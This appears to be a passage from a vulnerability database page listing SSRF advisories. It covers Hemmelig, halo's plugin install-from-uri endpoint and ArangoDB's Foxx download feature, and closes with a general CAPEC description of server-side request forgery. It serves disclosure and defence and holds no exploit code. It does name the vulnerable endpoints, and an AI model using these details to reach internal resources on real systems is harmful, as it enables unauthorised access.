addresses.length \u003e 0 \u0026\u0026 !addresses.some(ip =\u003e \n        privateRanges.some(pattern =\u003e pattern.test(ip))\n    );\n};\n```\nAdditionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.",
  "id": "GHSA-vvxf-wj5w-6gj5",
  "modified": "2025-12-29T21:31:04Z",
  "published": "2025-12-29T21:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app/security/advisories/GHSA-vvxf-wj5w-6gj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app/commit/6c909e571d0797ee3bbd2c72e4eb767b57378228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "hemmelig allows SSRF Filter bypass via Secret Request functionality"
}

GHSA-VW2V-VQM8-9F9G

Vulnerability from github – Published: 2026-04-30 18:30 – Updated: 2026-04-30 18:30
VLAI
Details

A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-36756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-30T16:16:42Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.",
  "id": "GHSA-vw2v-vqm8-9f9g",
  "modified": "2026-04-30T18:30:32Z",
  "published": "2026-04-30T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/halo-dev/halo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VW3J-XFJF-6RJ3

Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-02-10 00:00
VLAI
Details

In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-25939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T13:15:00Z",
    "severity": "LOW"
  },
  "details": "In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.",
  "id": "GHSA-vw3j-xfjf-6rj3",
  "modified": "2022-02-10T00:00:31Z",
  "published": "2022-02-10T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arangodb/arangodb/commit/d7b35a6884c6b2802d34d79fb2a79fb2c9ec2175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arangodb/arangodb/commit/d9b7f019d2435f107b19a59190bf9cc27d5f34dd"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25939"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list